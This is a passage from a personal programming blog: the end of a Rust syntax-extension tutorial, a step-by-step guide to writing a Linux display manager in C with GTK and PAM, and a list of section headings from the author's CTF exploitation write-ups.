One minor note unrelated to TokenTrees: what if we wanted to print something out after the original $block executed, instead of before? The naive approach would be to simply add a println! statement after the $block, but this will only work for functions that return (), and it also won’t work for any functions that don’t return at the end of the block, like when using return keyword. I’ve found the best way to handle this is to define a new move closure that contains the $block and then call that closure to get the return value. Then you can add whatever code you want to insert followed by returning the original return value.

Spans and Error Reporting

A Span maps a node to its location in the original source file. This is useful because we can report errors and refer directly to the source that’s causing the problem. I’ve seen some syntax extensions that don’t pay proper attention to which spans they’re using, and as a result their error reporting isn’t very helpful.

Like I mentioned earlier, many nodes like Item_ have their span in their “wrapper” struct, which would be Item in this case. You can access the span using the field span. Other structs like Decl are just type aliases for a Spanned wrapper around their actual struct (in this case Decl_). The Spanned type just adds a span field to the struct, and you can get the original struct through the node field.

Our expand function also was passed a Span as an argument. This span covers the attribute itself, not the item it was applied to. If any errors occur in the expansion of the syntax extension that don’t deal with a specific AST node, you should pass this span to the error reporting function. Otherwise, always pass the most specific span possible. Even when parsing MetaItems (described below), you have a more specific span to use than just the attribute span, so you should use it. Also note that generated AST nodes should be given a span of syntax::codemap::DUMMY_SP, and these spans should never be used for error reporting.

To actually report errors, you can use the span_* functions in ExtCtxt, like span_err, span_warn, etc. Examples of this are shown in the “MetaItems” section.

MetaItems

We haven’t used the MetaItem argument of our expand function yet. A MetaItem is an option that our attribute can take. There are three variants of a MetaItem_. The first is a MetaWord, which would like this: #[extension(a_meta_word)]. The second is a MetaList, which looks like this: #[extension(first_item, second_item(is_also_a_meta_list)]. Note that the elements of this list are also MetaItem_s, so you can have a list inside of a list. The last type of MetaItem is a MetaNameValue, which looks like this: #[extension(name = "value")]. Note that the type of the value is a Lit, but the only variant that works is LitStr. Also note that while I’ve been showing examples of using our extension attribute as a list, we can also use it as a MetaNameValue, i.e. #[extension = "foo"]. By itself (i.e. #[extension]), our attribute is a MetaWord, but since we can’t change it to anything else this isn’t really useful to us.

So if we wanted to parse a MetaItem that might like this: #[extension(foo, bar = "str", list(list_item)], we could do it with the following code (only the new imports are included):

use syntax::ast::Lit_::LitStr;
use syntax::ast::MetaItem_::{MetaWord, MetaList, MetaNameValue};

fn parse_options(cx: &mut ExtCtxt, meta: &MetaItem) {
    if let MetaList(ref name, ref list) = meta.node {
        println!("Attribute name: {}", name);
        for item in list {
            match &item.node {
                &MetaNameValue(ref name, ref s) => {
                    if *name == "bar" {
                        if let LitStr(ref val, _) = s.node {
                            println!("bar: {}", val);
                        }
                    } else {
                        cx.span_warn(item.span, &format!("Invalid option {}", name));
                    }
                }
                &MetaList(ref name, _) => {
                    if *name == "list" {
                        // You can parse this list just like the top-level list if you want to
                        println!("Got another list");
                    } else {
                        cx.span_warn(item.span, &format!("Invalid option {}", name));
                    }
                }
                &MetaWord(ref name) => {
                    if *name == "foo" {
                        println!("Got MetaWord foo");
                    } else {
                        cx.span_warn(item.span, &format!("Invalid option {}", name))
                    }
                }
            }
        }
    }
}

Conclusion

Hopefully by now you know enough to write your own syntax extensions. I hope that a lot of this information eventually makes its way into the official documentation, which is really lacking right now. If you want to learn more, one of the best things I can recommend is reading the source for any syntax extensions you come across. That and writing my own extension is how I figured all of this out. And if you want to do even cooler stuff, you should look into lints, which are a different type of compiler plugin that I’ve been meaning to start messing around with for a while. With lints you have access to type information as well, so you can do some really interesting things.

If you have any questions, feel free to leave a comment!

How to write a display manager

2015-01-21T14:06:49-04:00

Whenever I come across some topic of piece or software I don’t completely understand, I always want to try writing it. When I was in high school, operating systems and compilers were two concepts that I tried to understand but couldn’t completely get a grasp of just from reading books or articles online. That’s why I ended up writing both of them. I’ve been curious about how display/login managers and window managers work in Linux now for a while now. There are some tutorials on how to write a window manager online, but when it comes to display managers there’s absolutely nothing. That’s why I tried to write my own display manager and wrote this tutorial so you can write your own as well.

I’ll be writing this in C, but the concepts apply to any language as long as the language you’re using has all the necessary libraries. You can find my final code on Github (this is the tutorial branch, which follows this tutorial more closely), and you might also find the SLiM display manager a useful reference as well. The SLiM website (which hosted the code) went down recently as the project is no longer maintained, so I’ve linked my mirror of the project above.

What is a Display Manager?

A display manager (also known as a login manager) is a graphical program that allows users to log into a computer. When your computer boots, the program that handles running startup programs (usually systemd or upstart) starts whatever display manager you’ve configured. This display manager then starts an X server and displays a GUI interface for you to log in to. After typing in your login credentials, the display manager uses PAM modules to log the user in. If the credentials are correct, the display manager starts whatever window manager you’ve configured and sets up some configuration variables. Common examples of display managers are GDM, KDM, and LightDM.

Overall, the process doesn’t seem to hard, but there are some tricky issues I ran into over the course of this project:

You can’t start a display manager on a different virtual terminal with X server 1.16

This issue wasted a few days of my time. I’m using Arch Linux, which uses the latest version of xorg-server, version 1.16. Unfortunately, this release made a change I was not aware of:

X is now rootless with the help of systemd-logind, this also means that it must be launched from the same virtual terminal as was used to log in, redirecting stderr also breaks rootless login.

When you start an X server, you can specify a VT (virtual terminal). Switch to a new VT (i.e. Ctrl+Alt+F2), and try running /usr/bin/X :1 (we’re using :1 here because :0 is probably taken. If that doesn’t work, try higher numbers. If you don’t understand this, don’t worry, it’ll be explained later). Your display should turn black. If you switch back to your original VT and run pgrep X. You should see the X server running. The thing is, when a display manager starts X, it uses the user specified VT, which could be something like VT 7. So it would run /usr/bin/X :1 vt07. Now if the display manager itself wasn’t running on VT 7, on X server 1.16, X would segfault and disallow you from switching VTs, effectively forcing you to reboot your computer (note, I encountered various segfaults from X server in other scenarios as well, don’t be surprised if you do too). If you’re using something like Ubuntu, you probably won’t need to worry about this for a while. If you want to get around this, using something like chvt might help, but I haven’t tried it.

This was the main issue I had with this project. Different Linux distros and programs are used to start the display manager in real life (i.e. Ubuntu or Arch, systemd or upstart). Display managers like GDM are huge pieces of software with contributors who are often using these different configurations, so they can figure out how to handle them. Our display manager will work on Arch Linux with dwm, but has no guarantees for other configurations. It probably won’t work without a bit of tweaking for other window manager like Awesome WM or GNOME 3 (our display manager is very naive in the sense that it considers a logout to be when the window manager process terminates, which isn’t always what window managers do).

Selecting your UI Toolkit

Most UI toolkits should work fine for designing the user interface of the display manager. This is one thing that surprised me at first: designing the GUI for a display manager is the same as designing the interface for a desktop application. It seems kind of obvious in retrospect, but I thought there would some hoops I’d have to jump through to get things to work, and fortunately there were none. I was originally going to create the GUI using XCB or Xlib, but these languages don’t have widgets like input boxes, so I’d have to write my own. I’m actually working on my own UI toolkit using XCB, but so far I’ve only implemented buttons and not text inputs, so using that isn’t an option.

I’ve had some good experiences with Qt in the past, but there are some rendering issues with running Qt5 applications directly in Xephyr (which is a program we’ll be using for testing), which is what we’re using to test our display manager, so that option is out. I ended up deciding on using GTK3, since we’re not doing too much GUI work anyway and I can use Glade to create the layout.

Creating the UI

Creating the user interface is the easy part of writing the display manager, especially since we’re using Glade. With Glade, we can design the interface using a GUI interface designer, which gives us XML that GTK can render. The UI will consist of a text label and input field for both the username and password. Below the input fields, there is a text label that will contain status messages to inform the user of errors. These components will be centered vertically and horizontally on the screen. Here is how I made it using the Glade Interface Designer:

In the “Toplevels” section, click “Window”. Change the Window ID in the “General” tab to “window”.
In the “Containers” section, click “Box”, and create a box with 1 vertical section. Go to the “Common” tab of the properties window and change the vertical alignment to “Center”.
Create another Box in the middle section of the box created in step 2, also with 3 vertical sections.
Create another Box in the top two sections of the box created in step 3, but this time go to the “General” tab of the Box properties and set the number of items to 2 and the orientation to horizontal. Go to the common tab of the same Box and set the horizontal alignment to “Center”.
In the two boxes created in step 4, put a Label in the left section and a Text Entry in the second section. These buttons can be found in the “Control and Display” section.
Go the the “General” tab for each Label and in the appearance section change the first one to “Username” and the second one to “Password”.
For the first Text Entry, go to the “General” tab and change the ID to username_text_entry. For the second Text Entry, change it to password_text_entry. In the same tab, uncheck the “Visibility” for the password Text Entry. This is what causes dots to be displayed instead of characters when a password is typed.
Finally, create a label in the last section of the Box created in step 3. Change the ID of this label to status_label, and remove the label text.

At this point what you have should look like this:

{% img center /images/gui_ui.png %}

Save the file as gui.ui. In case something went wrong in the above steps or you simply didn’t want to make the UI yourself, feel free to use my version of gui.ui.

Note that while this UI is simple, you can do anything you can do in a normal desktop application. Feel free to add images, colors, animations, etc. I’m hoping someone will use this starting point to make a really well designed display manager.

Testing the UI

Now that we have our UI, let’s actually write some code to display it. Put the following code into display-manager.c:

#include <libgen.h> // dirname()
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <gtk/gtk.h>

#define UI_FILE     "gui.ui"
#define WINDOW_ID   "window"
#define USERNAME_ID "username_text_entry"
#define PASSWORD_ID "password_text_entry"
#define STATUS_ID   "status_label"

static GtkEntry *user_text_field;
static GtkEntry *pass_text_field;
static GtkLabel *status_label;

int main(int argc, char *argv[]) {
    gtk_init(&argc, &argv);

    char ui_file_path[256];
    if (readlink("/proc/self/exe", ui_file_path, sizeof(ui_file_path)) == -1) {
        printf("Error: could not get location of binary");
        exit(1);
    }

    dirname(ui_file_path);
    strcat(ui_file_path, "/" UI_FILE);
    GtkBuilder *builder = gtk_builder_new_from_file(ui_file_path);
    GtkWidget *window = GTK_WIDGET(gtk_builder_get_object(builder, WINDOW_ID));
    user_text_field = GTK_ENTRY(gtk_builder_get_object(builder, USERNAME_ID));
    pass_text_field = GTK_ENTRY(gtk_builder_get_object(builder, PASSWORD_ID));
    status_label = GTK_LABEL(gtk_builder_get_object(builder, STATUS_ID));

    // Make full screen
    GdkScreen *screen = gdk_screen_get_default();
    gint height = gdk_screen_get_height(screen);
    gint width = gdk_screen_get_width(screen);
    gtk_widget_set_size_request(GTK_WIDGET(window), width, height);
    gtk_widget_show(window);

    g_signal_connect(window, "destroy", G_CALLBACK(gtk_main_quit), NULL);
    gtk_main();

    return 0;
}

Most things should be self explanatory (if they aren’t search for some GTK tutorials), but there are a few things to note:

The readlink/ui_file_path code is so you can run the display manager from different directories. If you didn’t do this, then if you didn’t run the program from the directory where gui.ui is located, it wouldn’t be found. See this StackOverflow question for more details.
Our display manager should be full screen so when the user sees it when the system boots, it takes up the whole screen. We can’t use the gtk_window_fullscreen function, because that’s a hint to the window manager to make the window full screen, but our display manager won’t be running in a window manager. Instead, we simply get the screen dimensions and set the window dimensions to match them.

This Makefile should take care of building the code (as long as you have GTK3 installed properly):

all: display-manager

display-manager: display-manager.c
	gcc `pkg-config --cflags --libs gtk+-3.0` -Wall -o $@ $^

.PHONY: clean

clean:
	rm -f display-manager

You should now be able to run make followed by ./display-manager and see the following screen:

{% img center /images/display-manager.png %}

Testing with Xephyr

Being able to launch our display manager is nice, but eventually we want our display manager to run without a window manager, directly on top of an X server. Normally the way this is done is by manually starting an X server when the display manager starts, and we would test this by switching over to a virtual terminal (where X isn’t running) and then run our display manager. This method is error prone and time consuming, so we only want to do it when we’re doing our final testing. Until then, we can use a program called Xephyr (should be available in your package manager). Xephyr is essentially an X11 server inside a window, so if we set our DISPLAY environment variable to Xephyr’s display number, we can launch applications in it.

Start Xephyr with Xephyr -ac -br -noreset -screen 800x600 :1 (I’ve aliased this to just xephyr). Note the :1 at the end. That’s saying the display number of xephyr is one. We use one, because they display you’re on right now is probably using zero, and we can’t share display numbers. If you want to check what display number you’re currently using, type echo $DISPLAY in a terminal. If you want to see all display numbers in use, look at the output of ps aux | grep X.

Launch our window manager in Xephyr with DISPLAY=:1 ./display-manager. The DISPLAY=:1 sets the DISPLAY environment variable to one for just our display manager process, so when we run it, it starts in Xephyr, not in our normal window manager.

Handling User Input

Now we need to get the user input and send it to the login function. Here is the updated display-manager.c, the explanation will follow:

#include <libgen.h> // dirname()
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

#include <gtk/gtk.h>

#define ENTER_KEY    65293
#define ESC_KEY      65307
#define UI_FILE     "gui.ui"
#define WINDOW_ID   "window"
#define USERNAME_ID "username_text_entry"
#define PASSWORD_ID "password_text_entry"
#define STATUS_ID   "status_label"

static GtkEntry *user_text_field;
static GtkEntry *pass_text_field;
static GtkLabel *status_label;

static pthread_t login_thread;

bool login(const char *username, const char *password, pid_t *child_pid) {
    return false;
}

bool logout(void) {
    return false;
}

static void* login_func(void *data) {
    GtkWidget *widget = GTK_WIDGET(data);
    const gchar *username = gtk_entry_get_text(user_text_field);
    const gchar *password = gtk_entry_get_text(pass_text_field);

    gtk_label_set_text(status_label, "Logging in...");
    pid_t child_pid;
    if (login(username, password, &child_pid)) {
        gtk_widget_hide(widget);

        // Wait for child process to finish (wait for logout)
        int status;
        waitpid(child_pid, &status, 0);
        gtk_widget_show(widget);

        gtk_label_set_text(status_label, "");

        logout();
    } else {
        gtk_label_set_text(status_label, "Login error");
    }
    gtk_entry_set_text(pass_text_field, "");

    return NULL;
}

static gboolean key_event(GtkWidget *widget, GdkEventKey *event) {
    if (event->keyval == ENTER_KEY) {
        pthread_create(&login_thread, NULL, login_func, (void*) widget);
    } else if (event->keyval == ESC_KEY) {
        gtk_main_quit();
    }
    return FALSE;
}

int main(int argc, char *argv[]) {
    gtk_init(&argc, &argv);

    char ui_file_path[256];
    if (readlink("/proc/self/exe", ui_file_path, sizeof(ui_file_path)) == -1) {
        printf("Error: could not get location of binary");
        exit(1);
    }

    dirname(ui_file_path);
    strcat(ui_file_path, "/" UI_FILE);
    GtkBuilder *builder = gtk_builder_new_from_file(ui_file_path);
    GtkWidget *window = GTK_WIDGET(gtk_builder_get_object(builder, WINDOW_ID));
    user_text_field = GTK_ENTRY(gtk_builder_get_object(builder, USERNAME_ID));
    pass_text_field = GTK_ENTRY(gtk_builder_get_object(builder, PASSWORD_ID));
    status_label = GTK_LABEL(gtk_builder_get_object(builder, STATUS_ID));

    // Make full screen
    GdkScreen *screen = gdk_screen_get_default();
    gint height = gdk_screen_get_height(screen);
    gint width = gdk_screen_get_width(screen);
    gtk_widget_set_size_request(GTK_WIDGET(window), width, height);
    gtk_widget_show(window);

    g_signal_connect(window, "key-release-event", G_CALLBACK(key_event), NULL);
    g_signal_connect(window, "destroy", G_CALLBACK(gtk_main_quit), NULL);
    gtk_main();

    return 0;
}

Here are the changes to note:

We’ve connected the key-release-event signal on the window to the key_event callback.
The key_event callback checks if either enter or escape are pressed. If escape is pressed, we quit the application. This is useful for killing the display manager when you’re running on a virtual terminal (you might want to disable this before releasing your display manager). If enter is pressed, we start the login process, by starting a thread which runs the login_thread function.
In the login_thread function, we simply get the users input and send it to our stub login function. If the function returns true, that means the login was successful, so we need to hide our display manager, and wait for the processes we’ve started to finish (i.e. wait until the user logs out or quits the window manager). Once the process we launched finishes, the thread resumes and shows our display manager again. The login_thread function also updates the status label if there are any errors.

If you’ve used GTK before and have done any basic multithreading work in C before, these changes should be straightforward. However, you might be wondering why we’re even starting a new thread in the first place? Well, this is another tricky “gotcha” I ran into when writing this display manager (you’re lucky you don’t have to deal with all this!). When I ran the login function in the key_event function, I found that the display manager window didn’t properly hide, so I wasn’t able to use the window manager that was launched. What I eventually realized is that if I call waitpid inside key_event function, then I never return to the main GTK event looped that was launched with gtk_main(), so GTK never is able to update the screen. Another way of saying this, is we’re blocking the UI thread. Thus, we need to do any blocking operations on a new thread.

Another thing to note is we’re using a single, global, pthread_t object in our application. The reason we don’t put this variable in the key event function is again, we can’t block that function, but if we don’t block it then our stack allocated structure will be cleaned up too early. But if we allocate on the heap, cleaning up that memory will be tricky (since we’re relying on GTK callbacks to execute our code). Since we’re only forking one process at a time, having a single, global pthread_t works fine.

User Authentication

Now that we have a user interface, we have to write the user authentication code. First make two new files, pam.h and pam.c. In pam.h, write the following:

#ifndef _PAM_H_
#define _PAM_H_

#include <stdbool.h>

bool login(const char *username, const char *password, pid_t *child_pid);
bool logout(void);

#endif /* _PAM_H_ */

As you can see, we’re just declaring the prototypes of the stub functions we declared in display-manager.c. You can now remove those stub functions and import pam.h. Let’s start with the declarations we need in pam.c:

#include <security/pam_appl.h>
#include <security/pam_misc.h>

#include <pwd.h>
#include <paths.h>

#include "pam.h"

#define SERVICE_NAME "display_manager"

#define err(name)                                   \
    do {                                            \
        fprintf(stderr, "%s: %s\n", name,           \
                pam_strerror(pam_handle, result));  \
        end(result);                                \
        return false;                               \
    } while (1);                                    \

static void init_env(struct passwd *pw);
static void set_env(char *name, char *value);
static int end(int last_result);

static int conv(int num_msg, const struct pam_message **msg,
                struct pam_response **resp, void *appdata_ptr);

static pam_handle_t *pam_handle;

We’ll walk through implementing the login/logout functions as well as all of the functions whose prototypes you see here one by one. For now, the only somewhat important thing is the err macro, which is a convenient way to handle errors from PAM. If the do while notation here confuses you, it’s just a trick for defining multiline macros.

Here’s the login function:

bool login(const char *username, const char *password, pid_t *child_pid) {
    const char *data[2] = {username, password};
    struct pam_conv pam_conv = {
        conv, data
    };

    int result = pam_start(SERVICE_NAME, username, &pam_conv, &pam_handle);
    if (result != PAM_SUCCESS) {
        err("pam_start");
    }

    result = pam_authenticate(pam_handle, 0);
    if (result != PAM_SUCCESS) {
        err("pam_authenticate");
    }

    result = pam_acct_mgmt(pam_handle, 0);
    if (result != PAM_SUCCESS) {
        err("pam_acct_mgmt");
    }

    result = pam_setcred(pam_handle, PAM_ESTABLISH_CRED);
    if (result != PAM_SUCCESS) {
        err("pam_setcred");
    }

    result = pam_open_session(pam_handle, 0);
    if (result != PAM_SUCCESS) {
        pam_setcred(pam_handle, PAM_DELETE_CRED);
        err("pam_open_session");
    }

    struct passwd *pw = getpwnam(username);
    init_env(pw);

    *child_pid = fork();
    if (*child_pid == 0) {
        chdir(pw->pw_dir);
        // We don't use ~/.xinitrc because we should already be in the users home directory
        char *cmd = "exec /bin/bash --login .xinitrc";
        execl(pw->pw_shell, pw->pw_shell, "-c", cmd, NULL);
        printf("Failed to start window manager");
        exit(1);
    }

    return true;
}

In order to understand the login function, we’ll need to first understand a bit about how PAM works. PAM authentication starts with a call to pam_start(). We pass this function the name of our service, the username, a PAM conversion struct, and a PAM handle. The handle is the structure that we pass to each PAM function; it’s essentially the state of our PAM session. The PAM conversion struct has two members, a pointer to a conversion function (which we’ll talk about later) and some data that we want to use in the conversion function. In this case, we’ll need the username and password.

Next you call pam_authenticate to see if the username and password are valid. At this point, pam_authenticate gets any information it didn’t have using the conversation function. PAM will call the conversation function you provided in the struct passed to pam_start for every bit of data that it needs, passing the second field of the struct as an argument to the function. Here’s my implementation of the conversation function:

static int conv(int num_msg, const struct pam_message **msg,
                struct pam_response **resp, void *appdata_ptr) {
    int i;

    *resp = calloc(num_msg, sizeof(struct pam_response));
    if (*resp == NULL) {
        return PAM_BUF_ERR;
    }

    int result = PAM_SUCCESS;
    for (i = 0; i < num_msg; i++) {
        char *username, *password;
        switch (msg[i]->msg_style) {
        case PAM_PROMPT_ECHO_ON:
            username = ((char **) appdata_ptr)[0];
            (*resp)[i].resp = strdup(username);
            break;
        case PAM_PROMPT_ECHO_OFF:
            password = ((char **) appdata_ptr)[1];
            (*resp)[i].resp = strdup(password);
            break;
        case PAM_ERROR_MSG:
            fprintf(stderr, "%s\n", msg[i]->msg);
            result = PAM_CONV_ERR;
            break;
        case PAM_TEXT_INFO:
            printf("%s\n", msg[i]->msg);
            break;
        }
        if (result != PAM_SUCCESS) {
            break;
        }
    }

    if (result != PAM_SUCCESS) {
        free(*resp);
        *resp = 0;
    }

    return result;
}

If the msg_style is PAM_PROMPT_ECHO_ON, it’s asking for the username, and if the msg_style is PAM_PROMPT_ECHO_OFF, it’s asking for the password. The other two options are described in the spec and are used for error and informational messages. Depending on the message type, we populate the resp array with the corresponding responses. Note that our implementation for the PAM_PROMPT_ECHO_ON here is redundant, because we’ve already provided the username in pam_start, but I’m leaving it here just in case anyone ever needs that functionality.

If pam_authenticate returns PAM_SUCCESS, that means the user exists. We then have to call pam_acct_mgmt to make sure the user has permission to login at this time (I’ll be honest, I don’t know where or how this permission is set, but it’s safe to do it anyway).

Now we can get an authentication token using pam_setcred and then open a session with pam_open_session. At this point, the user is pretty much logged in. We get information about their home directory and preferred shell from the getpwnam function, and we use this data to initialize the environment variables. Here’s the code that initializes those environment variables:

static void init_env(struct passwd *pw) {
    set_env("HOME", pw->pw_dir);
    set_env("PWD", pw->pw_dir);
    set_env("SHELL", pw->pw_shell);
    set_env("USER", pw->pw_name);
    set_env("LOGNAME", pw->pw_name);
    set_env("PATH", "/usr/local/sbin:/usr/local/bin:/usr/bin");
    set_env("MAIL", _PATH_MAILDIR);

    size_t xauthority_len = strlen(pw->pw_dir) + strlen("/.Xauthority") + 1;
    char *xauthority = malloc(xauthority_len);
    snprintf(xauthority, xauthority_len, "%s/.Xauthority", pw->pw_dir);
    set_env("XAUTHORITY", xauthority);
    free(xauthority);
}

static void set_env(char *name, char *value) {
    // The `+ 2` is for the '=' and the null byte
    size_t name_value_len = strlen(name) + strlen(value) + 2;
    char *name_value = malloc(name_value_len);
    snprintf(name_value, name_value_len,  "%s=%s", name, value);
    pam_putenv(pam_handle, name_value);
    free(name_value);
}

Finally, we fork and start a shell that executes the users .xinitrc, which should start the window manager.

The logout function is much more simple:

bool logout(void) {
    int result = pam_close_session(pam_handle, 0);
    if (result != PAM_SUCCESS) {
        pam_setcred(pam_handle, PAM_DELETE_CRED);
        err("pam_close_session");
    }

    result = pam_setcred(pam_handle, PAM_DELETE_CRED);
    if (result != PAM_SUCCESS) {
        err("pam_setcred");
    }

    end(result);
    return true;
}

static int end(int last_result) {
    int result = pam_end(pam_handle, last_result);
    pam_handle = 0;
    return result;
}

Remember that this is called from the login_func function back display-manager.c. When the process we started in login exits, we need to end the PAM session. We simply close the session with pam_close_session, delete the credentials with pam_setcred, and then finish with pam_end in that order.

If you didn’t follow all that, that’s fine. The PAM documentation is long and dense, and honestly I don’t understand every detail of it either. The important thing is that you now have working code to log the user in, and you can worry about more important things.

Note that you’ll have to update the makefile display-manager target to look like this:

display-manager: display-manager.c pam.c
	gcc `pkg-config --cflags --libs gtk+-3.0` -l pam -Wall -o $@ $^

This requires you to have the PAM package and development headers installed on your system, which varies based on your distro.

If you build and launch the display manager on Xephyr now, you’ll see that you can login to a window manager (try putting something like exec dwm in ~/.xinitrc, assuming you have dwm installed). If you exit out of your window manager, you should be dropped back into the display manager. dwm is a very simple window manager, which is why I like to test with it. Our simple display manager probably won’t work with more complicated window managers. Note that you can quit out of dwm with Shift + Alt + q.

Starting an X server

Our display manager is eventually going to have to run without Xephyr, so it’s going to need to start an X server on it’s own. Add the following code to display-manager.c:

static pid_t x_server_pid;

static void start_x_server(const char *display, const char *vt) {
    x_server_pid = fork();
    if (x_server_pid == 0) {
        char cmd[32];
        snprintf(cmd, sizeof(cmd), "/usr/bin/X %s %s", display, vt);
        execl("/bin/bash", "/bin/bash", "-c", cmd, NULL);
        printf("Failed to start X server");
        exit(1);
    } else {
        sleep(1);
    }
}

static void stop_x_server() {
    if (x_server_pid != 0) {
        kill(x_server_pid, SIGKILL);
    }
}

static void sig_handler(int signo) {
    stop_x_server();
}

The start_x_server function simply calls the /usr/bin/X program with the given display number and virtual terminal number. We fork and store X server PID in our static global variable (so we can access it in stop_x_server), and in the parent process we wait for a second to let the server startup. In production code, you’d actually try continuously connecting to the display here programmatically using the X11 API, but this isn’t production code (SLiM does this, take a look at that code if you’re interested).

Now set the default values for the display and virtual terminal using defines:

#define DISPLAY     ":1"
#define VT          "vt01"

And update main to look like this:

static bool testing = false;

int main(int argc, char *argv[]) {
    const char *display = DISPLAY;
    const char *vt = VT;
    if (argc == 3) {
        display = argv[1];
        vt = argv[2];
    }
    if (!testing) {
        signal(SIGSEGV, sig_handler);
        signal(SIGTRAP, sig_handler);
        start_x_server(display, vt);
    }
    setenv("DISPLAY", display, true);

    gtk_init(&argc, &argv);

    ...

    stop_x_server();

    return 0;
}

Essentially we’re saying is that if the testing flag is set, don’t start an X server because we want to use something like Xephyr. We also make sure to shutdown the X server when our display manager exits.

Testing the display manager

The last thing to do is to test that the display manager actually works when the system boots up. Again this is highly system dependent, so your results may vary. I’ll be describing the process for Arch Linux. Also note that we’re messing with the program that starts when you boot your system up, so make sure you know how to fix things if something goes wrong (you can use other virtual terminals or boot in single user mode).

Create a new systemd service file called my-display-manager.service:

[Unit]
Description=My Display Manager
After=systemd-user-sessions.service

[Service]
ExecStart=/path/to/my/display-manager

[Install]
Alias=display-manager.service

Put the script in /usr/lib/systemd/system/ and enable it with systemctl enable my-display-manager.service. Reboot, and hopefully you’ll see your display manager. Try logging in and then quitting the window manager to make sure everything works fine.

Conclusion

Hopefully by now you understand how display managers work and have your own working display manager. It took me a while to figure out all of this information, so I hope this article makes life a bit easier for anyone else who want to write their own display manager. Some important things to note, however, include the fact that some systems (like Arch) use systemd-login now, which might complicate things if you want to release a production quality display manager. Another issue is that your display manager should be able to boot fine on various Linux distros and run any window manager after login, and I don’t believe ours does that (when I tested with Awesome, I could log in fine, but on quitting I couldn’t type in the username/password fields anymore). In any case, this is a good first step. If you have any questions or would like to share a display manager you’ve made, feel free to post in the comments section.

gsgx

DownUnderCTF 2022 just-in-kernel Writeup

0x01: Setting up our Environment

0x02: Reversing the Module

0x03: Exploitation Plan

0x04: RIP Control

0x05: ROP Chain

0x06: Getting a Shell

0x07: Final Notes

0x08: References

OTW Advent CTF 2018: nightmare Writeup

Reversing the binary

Bug 1: Heap overflow in base64_encode()

Bug 2: Arbitrary free in clear()

Bug 3: Sign mismatch bug in read_size() leading to allocating chunks of arbitrary sizes

Bug 4: No null termination in base64_decode() leads to heap/libc pointer leak

Exploitation

picoCTF 2017 weirderRSA Writeup

TUM CTF 2016: l1br4ry Writeup

Reversing the binary

Getting a heap leak

Creating a fake chunk

Getting a libc leak

Getting a shell

Tips

9447 CTF 2015: Search Engine Writeup

Reversing the binary

Getting a stack leak

Getting a libc leak

Alternate libc leak

Exploiting a double free

Tips

Full exploit

How to write a Rust syntax extension

Types of Syntax Extensions

Decorator

Modifier

MultiModifier

NormalTT

IdentTT

MacroRulesTT

Registering a Syntax Extension

Loading a Syntax Extension

Creating new AST nodes

Token Trees

Spans and Error Reporting

MetaItems

Conclusion

How to write a display manager

What is a Display Manager?

You can’t start a display manager on a different virtual terminal with X server 1.16

Results vary based on your startup system and what window manager you launch after login

Selecting your UI Toolkit

Creating the UI

Testing the UI

Testing with Xephyr

Handling User Input

User Authentication

Starting an X server

Testing the display manager

Conclusion

Bug 1: Heap overflow in `base64_encode()`

Bug 2: Arbitrary free in `clear()`

Bug 3: Sign mismatch bug in `read_size()` leading to allocating chunks of arbitrary sizes

Bug 4: No null termination in `base64_decode()` leads to heap/libc pointer leak